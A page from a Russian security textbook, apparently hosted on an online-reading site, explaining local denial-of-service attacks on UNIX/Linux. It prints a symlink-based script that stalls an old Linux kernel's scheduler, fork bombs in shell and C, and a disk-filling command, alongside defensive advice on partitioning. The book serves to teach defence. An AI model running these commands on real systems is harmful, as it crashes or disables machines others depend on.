Π§ΠΈΡ‚Π°ΠΉΡ‚Π΅ ΠΊΠ½ΠΈΠ³ΠΈ ΠΎΠ½Π»Π°ΠΉΠ½ Π½Π° Bookidrom.ru! БСсплатныС ΠΊΠ½ΠΈΠ³ΠΈ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΊΠ»ΠΈΠΊΠ΅

Π§ΠΈΡ‚Π°Ρ‚ΡŒ ΠΎΠ½Π»Π°ΠΉΠ½ Β«Π—Π°Ρ‰ΠΈΡ‚Π° ΠΎΡ‚ Ρ…Π°ΠΊΠ΅Ρ€ΠΎΠ² ΠΊΠΎΡ€ΠΏΠΎΡ€Π°Ρ‚ΠΈΠ²Π½Ρ‹Ρ… сСтСй». Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° 15

Автор ΠšΠΎΠ»Π»Π΅ΠΊΡ‚ΠΈΠ² Π°Π²Ρ‚ΠΎΡ€ΠΎΠ²

Π›ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ DoS-Π°Ρ‚Π°ΠΊΠ° встрСчаСтся часто, ΠΈ Π΅Π΅ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… случаях ΠΌΠΎΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‚ΠΈΡ‚ΡŒ. НСсмотря Π½Π° большой ΡƒΡ‰Π΅Ρ€Π± ΠΎΡ‚ Π°Ρ‚Π°ΠΊ этого класса, всС ΠΆΠ΅ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Π΅Π΅ ΠΈΠΌΠ΅Ρ‚ΡŒ Π΄Π΅Π»ΠΎ ΠΈΠΌΠ΅Π½Π½ΠΎ с Π½ΠΈΠΌΠΈ. ΠŸΡ€ΠΈ Π³Ρ€Π°ΠΌΠΎΡ‚Π½ΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Π½Π½ΠΎΠΉ систСмС бСзопасности этот класс Π°Ρ‚Π°ΠΊ Π»Π΅Π³ΠΊΠΎ ΠΎΡ‚ΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ, Π° Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ° – ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ.

Π›ΠΎΠΊΠ°Π»ΡŒΠ½Π°Ρ DoS-Π°Ρ‚Π°ΠΊΠ° Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ часто прСслСдуСт ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ‚Ρ€ΠΈ Ρ†Π΅Π»ΠΈ: сущСствСнноС сниТСниС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй процСсса, исчСрпаниС мСста Π½Π° дискС ΠΈ истощСниС индСксных ΡƒΠ·Π»ΠΎΠ² (index node (inode) exhaustion).

Π‘Π½ΠΈΠΆΠ΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй процСсса

По сути, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΡ‚ΠΊΠ°Π· Π² обслуТивании – это сущСствСнноС сниТСниС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Ρ… возмоТностСй процСссов вслСдствиС сниТСния ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ систСмы ΠΈΠ·-Π·Π° Π΅Π΅ ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ Π°Ρ‚Π°ΠΊΠΈ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°. ΠŸΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠ° систСмы наступаСт ΠΈΠ·-Π·Π° пороТдСния процСссов с ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΡΡŽΡ‰Π΅ΠΉΡΡ структурой, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠΆΠΈΡ€Π°ΡŽΡ‚ доступныС рСсурсы хоста, пСрСполнСния Ρ‚Π°Π±Π»ΠΈΡ†Ρ‹ систСмных процСссов ΠΈΠ»ΠΈ ΠΈΠ·-Π·Π° ΠΏΠ΅Ρ€Π΅Π³Ρ€ΡƒΠ·ΠΊΠΈ Ρ†Π΅Π½Ρ‚Ρ€Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ процСссора, ΠΎΠΏΡΡ‚ΡŒ ΠΆΠ΅ Π² Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ пороТдСния слишком большого количСства процСссов.

Π˜Π·Π²Π΅ΡΡ‚Π΅Π½ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ Π°Ρ‚Π°ΠΊΠΈ этого класса, основанный Π½Π° Π½Π΅Π΄Π°Π²Π½ΠΎ Π½Π°ΠΉΠ΄Π΅Π½Π½ΠΎΠΉ уязвимости Π² ядрС Linux. Боздавая систСму Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… символичСских ссылок, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΠΎΠΌΠ΅ΡˆΠ°Ρ‚ΡŒ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΡŽ выполнСния Π΄Ρ€ΡƒΠ³ΠΈΡ… процСссов Π²ΠΎ врСмя разымСновывания символичСской ссылки. ПослС создания Π²Π»ΠΎΠΆΠ΅Π½Π½Ρ‹Ρ… символичСских ссылок, ΠΏΡ‹Ρ‚Π°ΡΡΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΎΠ΄ΠΈΠ½ ΠΈΠ· связанных Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊ процСсса блокируСтся, Π½Π΅ позволяя Π΄Ρ€ΡƒΠ³ΠΈΠΌ процСссам ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ процСссорноС врСмя. НиТС прСдставлСн исходный тСкст Ρ„Π°ΠΉΠ»Π° mklink.sh, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ создаСт всС Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ ссылки Π² систСмС, ΠΏΠΎΠ΄Π²Π΅Ρ€Π³Π½ΡƒΠ²ΡˆΠ΅ΠΉΡΡ нападСнию (эта ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π±Ρ‹Π»Π° ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ исправлСна Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ядрС Linux вСрсии 2.4.12):

#!/bin/sh

# by Nergal

mklink()

{

IND=$1

NXT=$(($IND+1))

EL=l$NXT/../

P=β€œβ€

I=0

while [ $I -lt $ELNUM ] ; do

P=$Pβ€œ$EL”

I=$(($I+1))

done

ln -s β€œ$P”l$2 l$IND

}

#main program

if [ $# != 1 ] ; then

echo A numerical argument is required.

exit 0

fi

ELNUM=$1

mklink 4

mklink 3

mklink 2

mklink 1

mklink 0 /../../../../../../../etc/services

mkdir l5

mkdir l

Π•Ρ‰Π΅ ΠΎΠ΄ΠΈΠ½ Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ локальной DoS-Π°Ρ‚Π°ΠΊΠΈ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» Π½Π°Π·Π²Π°Π½ΠΈΠ΅ fork bomb – развилочная Π±ΠΎΠΌΠ±Π° (fork bomb – самовоспроизводящаяся командная строка, способная Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΈΡ‚ΠΎΠ³Π΅ ΡƒΠ½ΠΈΡ‡Ρ‚ΠΎΠΆΠΈΡ‚ΡŒ всС Π΄Ρ€ΡƒΠ³ΠΈΠ΅ записи Π² Ρ‚Π°Π±Π»ΠΈΡ†Π΅ процСссов ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ систСмы). Π­Ρ‚Π° ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° Π½Π΅ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы Linux. Она Π½Π΅ Ρ€Π΅ΡˆΠ΅Π½Π° ΠΈ Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах Π½Π° Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ°Ρ…. Π Π°Π·Π²ΠΈΠ»ΠΎΡ‡Π½ΡƒΡŽ Π±ΠΎΠΌΠ±Ρƒ Π»Π΅Π³ΠΊΠΎ Ρ€Π΅Π°Π»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π½Π° языкС ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ shell ΠΈΠ»ΠΈ языкС C. Код Π±ΠΎΠΌΠ±Ρ‹ Π½Π° языкС ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΠΎΠ±ΠΎΠ»ΠΎΡ‡ΠΊΠΈ shell прСдставлСн Π½ΠΈΠΆΠ΅:

($0 & $0 &)

Код Π½Π° языкС Π‘ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ:

(main() {for(;;)fork();})

Π’ любом ΠΈΠ· Π²Π°Ρ€ΠΈΠ°Π½Ρ‚ΠΎΠ² Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠ½ΠΈΠ·ΠΈΡ‚ΡŒ ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρ‹ процСсса ΠΊΠ°ΠΊ Π½Π΅Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ, лишь Π·Π°ΠΌΠ΅Π΄Π»ΠΈΠ² Ρ€Π°Π±ΠΎΡ‚Ρƒ систСмы, Ρ‚Π°ΠΊ ΠΈ вСсьма сильно, пСрСрасходовав ΠΈΠ»ΠΈ ΠΌΠΎΠ½ΠΎΠΏΠΎΠ»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π² рСсурсы систСмы ΠΈ Π²Ρ‹Π·Π²Π°Π² Ρ‚Π΅ΠΌ самым Π΅Π΅ Π°Π²Π°Ρ€ΠΈΠΉΠ½Ρ‹ΠΉ ΠΎΡ‚ΠΊΠ°Π·.

ΠŸΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ диска

ЦСль Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ класса локальной DoS-Π°Ρ‚Π°ΠΊΠΈ состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ Π·Π°ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ диск. Π•ΠΌΠΊΠΎΡΡ‚ΡŒ диска – ΠΊΠΎΠ½Π΅Ρ‡Π½Ρ‹ΠΉ рСсурс. Π Π°Π½Π΅Π΅ дисковая ΠΏΠ°ΠΌΡΡ‚ΡŒ Π±Ρ‹Π»Π° ΠΎΡ‡Π΅Π½ΡŒ Π΄ΠΎΡ€ΠΎΠ³ΠΈΠΌ рСсурсом. Π’ настоящСС врСмя Ρ†Π΅Π½Π° хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π½Π° дискС Π·Π½Π°Ρ‡ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ снизилась. НСсмотря Π½Π° Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π·Π°Π΄Π°Ρ‡ хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ дисковых массивов ΠΈ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ, ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΡƒΡŽΡ‰ΠΈΡ… Ρ…Ρ€Π°Π½Π΅Π½ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ, Π΅ΠΌΠΊΠΎΡΡ‚ΡŒ дисковой памяти ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Π΅Ρ‚ ΠΎΡΡ‚Π°Π²Π°Ρ‚ΡŒΡΡ ΡƒΠ·ΠΊΠΈΠΌ мСстом Π²ΠΎ всСх систСмах. ΠŸΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ½Ρ‹Π΅ Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ Ρ‚ΠΈΠΏΠ° выдСлСния ΠΊΠ²ΠΎΡ‚ хранСния ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ лишь ΡΠΌΡΠ³Ρ‡ΠΈΡ‚ΡŒ эту ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡƒ.

Π­Ρ‚ΠΎΡ‚ Π²ΠΈΠ΄ Π°Ρ‚Π°ΠΊ прСслСдуСт Ρ†Π΅Π»ΡŒ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌ созданиС Π½ΠΎΠ²Ρ‹Ρ… Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΈ ΡƒΠ²Π΅Π»ΠΈΡ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ€Π° ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…. Π”ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ° состоит Π² Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ UNIX-систСмы Π·Π°Π²Π΅Ρ€ΡˆΠ°ΡŽΡ‚ΡΡ Π°Π²Π°Ρ€ΠΈΠΉΠ½ΠΎ ΠΏΡ€ΠΈ ΠΏΠΎΠ»Π½ΠΎΠΌ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΈ ΠΊΠΎΡ€Π½Π΅Π²ΠΎΠ³ΠΎ Ρ€Π°Π·Π΄Π΅Π»Π°. Π₯отя это нСльзя Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ конструкторский Π΄Π΅Ρ„Π΅ΠΊΡ‚ UNIX, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠ΅ администрированиС систСмы Π΄ΠΎΠ»ΠΆΠ½ΠΎ ΠΏΡ€Π΅Π΄ΡƒΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» для ΠΆΡƒΡ€Π½Π°Π»ΠΎΠ² рСгистрации Ρ‚ΠΈΠΏΠ° /var ΠΈ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΉ Ρ€Π°Π·Π΄Π΅Π» для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ Ρ‚ΠΈΠΏΠ° Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ /home Π½Π° Linux-систСмах ΠΈΠ»ΠΈ Π΄ΠΈΡ€Π΅ΠΊΡ‚ΠΎΡ€ΠΈΠΈ /export/home Π½Π° систСмах Sun.

Если ΠΏΡ€ΠΈ ΠΏΠ»Π°Π½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с диском Π½Π΅ Π±Ρ‹Π»ΠΎ прСдусмотрСно Ρ€Π°Π·Π±ΠΈΠ΅Π½ΠΈΠ΅ диска Π½Π° Ρ€Π°Π·Π΄Π΅Π»(Ρ‹) для ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ ΠΈ, ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ, Ρ€Π°Π·Π΄Π΅Π»(Ρ‹) для ΠΆΡƒΡ€Π½Π°Π»ΠΎΠ² рСгистрации, Ρ‚ΠΎ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ этим Ρ‚ΠΈΠΏΠΎΠΌ DoS-Π°Ρ‚Π°ΠΊΠΈ для достиТСния Π°Π²Π°Ρ€ΠΈΠΉΠ½ΠΎΠ³ΠΎ ΠΎΡ‚ΠΊΠ°Π·Π° систСмы. Он ΠΌΠΎΠΆΠ΅Ρ‚ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ этим Ρ‚ΠΈΠΏΠΎΠΌ Π°Ρ‚Π°ΠΊΠΈ для затруднСния Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΉ: ΠΏΡ€ΠΈ Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ большого количСства событий, рСгистрируСмых Π² систСмном ΠΆΡƒΡ€Π½Π°Π»Π΅ syslog, расходуСтся отвСдСнная Ρ€Π°Π·Π΄Π΅Π»Ρƒ ΠΆΡƒΡ€Π½Π°Π»ΠΎΠ² рСгистрации дисковая ΠΏΠ°ΠΌΡΡ‚ΡŒ, ΠΈ ΠΏΡ€ΠΈ Π΅Π΅ исчСрпании нСльзя Π·Π°Ρ€Π΅Π³ΠΈΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π½ΠΎΠ²Ρ‹Π΅ события Π² ΠΆΡƒΡ€Π½Π°Π»Π΅ syslog.

РСализация Ρ‚Π°ΠΊΠΎΠΉ Π°Ρ‚Π°ΠΊΠΈ Ρ‚Ρ€ΠΈΠ²ΠΈΠ°Π»ΡŒΠ½Π°. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ локального ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π° достаточно Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΡƒΡŽ ΠΊΠΎΠΌΠ°Π½Π΄Ρƒ:

cat /dev/zero > ~/maliciousfile

Π­Ρ‚Π° ΠΊΠΎΠΌΠ°Π½Π΄Π° свяТСт Ρ„Π°ΠΉΠ» устройства /dev/zero (ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ просто Π³Π΅Π½Π΅Ρ€ΠΈΡ‚ Π½ΡƒΠ»ΠΈ) с Ρ„Π°ΠΉΠ»ΠΎΠΌ Π·Π»ΠΎΡƒΠΌΡ‹ΡˆΠ»Π΅Π½Π½ΠΈΠΊΠ°. Команда Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠ°Ρ‚ΡŒΡΡ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ Π½Π΅ ΠΏΡ€Π΅ΠΊΡ€Π°Ρ‚ΠΈΡ‚ Π΅Π΅ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Π·Π°ΠΏΠΎΠ»Π½Π΅Π½ диск. Для усилСния Ρ€Π°Π·Ρ€ΡƒΡˆΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ эффСкта Π°Ρ‚Π°ΠΊΠΈ, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½ΠΎΠΉ Π½Π° исчСрпаниС дисковой памяти, ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΈΠ΄Π΅Π΅ΠΉ Π±ΠΎΠΌΠ±Π΅ΠΆΠΊΠΈ ΠΏΠΎΡ‡Ρ‚Ρ‹. Π₯отя это старая идСя, Π½Π° ΠΏΡ€Π°ΠΊΡ‚ΠΈΠΊΠ΅ ΠΎΠ½Π° ΠΏΠΎΡ‡Ρ‚ΠΈ Π½Π΅ примСняСтся. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ Π½Π° основС Π°Π½Π°Π»ΠΈΠ·Π° Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠΎΠ² ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΏΡ€ΠΎΡ‚ΠΎΠΊΠΎΠ»Π° SMTP ΠΏΡƒΡ‚ΡŒ элСктронной ΠΏΠΎΡ‡Ρ‚Ρ‹ Π»Π΅Π³ΠΊΠΎ ΠΏΡ€ΠΎΡΠ»Π΅Π΄ΠΈΡ‚ΡŒ. И хотя для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚ΠΎΠ² ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹Π΅ рСтрансляторы (open relays), поиск отправитСля ΠΏΠΎΡ‡Ρ‚ΠΎΠ²ΠΎΠΉ Π±ΠΎΠΌΠ±Ρ‹ – Π½Π΅ ΠΎΡ‡Π΅Π½ΡŒ слоТная Π·Π°Π΄Π°Ρ‡Π°. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ Π±ΠΎΠΌΠ±Π°Ρ€Π΄ΠΈΡ€ΠΎΠ²Ρ‰ΠΈΠΊΠΎΠ² ΠΏΠΎΡ‡Ρ‚Ρ‹ окаТСтся ΠΈΠ»ΠΈ Π±Π΅Π· Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π°, ΠΈΠ»ΠΈ Π² Ρ‚ΡŽΡ€ΡŒΠΌΠ΅, ΠΈΠ»ΠΈ ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ ΠΈ Ρ‚Π°ΠΌ, ΠΈ Ρ‚Π°ΠΌ.

Π˜ΡΡ‚ΠΎΡ‰Π΅Π½ΠΈΠ΅ индСксных ΡƒΠ·Π»ΠΎΠ²

НСсмотря Π½Π° Ρ€Π°Π·Π½Ρ‹Π΅ Ρ†Π΅Π»ΠΈ, Π°Ρ‚Π°ΠΊΠΈ, Π½Π°ΠΏΡ€Π°Π²Π»Π΅Π½Π½Ρ‹Π΅ Π½Π° истощСниС индСксных ΡƒΠ·Π»ΠΎΠ², ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰ΠΈΠΉ Ρ‚ΠΈΠΏ DoS-Π°Ρ‚Π°ΠΊΠΈ, ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ Π½Π° ΠΏΠ΅Ρ€Π΅ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ диска. Π›ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Π΅ DoS-Π°Ρ‚Π°ΠΊΠΈ истощСния индСксных ΡƒΠ·Π»ΠΎΠ² ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΡ€ΠΈΠ΅Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ Π½Π° Ρ‚ΠΎΡ‚ ΠΈΠ»ΠΈ ΠΈΠ½ΠΎΠΉ Ρ‚ΠΈΠΏ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы. Π˜Π½Π΄Π΅ΠΊΡΠ½Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ – ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ Ρ‡Π°ΡΡ‚ΡŒ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы UNIX.

Π˜Π½Π΄Π΅ΠΊΡΠ½Ρ‹Π΅ ΡƒΠ·Π»Ρ‹ содСрТат Π²Π°ΠΆΠ½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы. Как ΠΌΠΈΠ½ΠΈΠΌΡƒΠΌ, это свСдСния ΠΎ Π²Π»Π°Π΄Π΅Π»ΡŒΡ†Π΅ Ρ„Π°ΠΉΠ»ΠΎΠ², Π³Ρ€ΡƒΠΏΠΏΠΎΠ²ΠΎΠΌ члСнствС Ρ„Π°ΠΉΠ»ΠΎΠ², ΠΈΡ… Ρ‚ΠΈΠΏΠ΅, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡΡ…, Ρ€Π°Π·ΠΌΠ΅Ρ€Π΅ ΠΈ адрСсах Π±Π»ΠΎΠΊΠΎΠ², содСрТащих Π΄Π°Π½Π½Ρ‹Π΅ Ρ„Π°ΠΉΠ»Π°. ΠŸΡ€ΠΈ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ Ρ„Π°ΠΉΠ»ΠΎΠ²ΠΎΠΉ систСмы создаСтся ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠ΅ число индСксных ΡƒΠ·Π»ΠΎΠ² для ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ индСксов Ρ„Π°ΠΉΠ»ΠΎΠ² ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π³Ρ€ΡƒΠΏΠΏΡ‹.

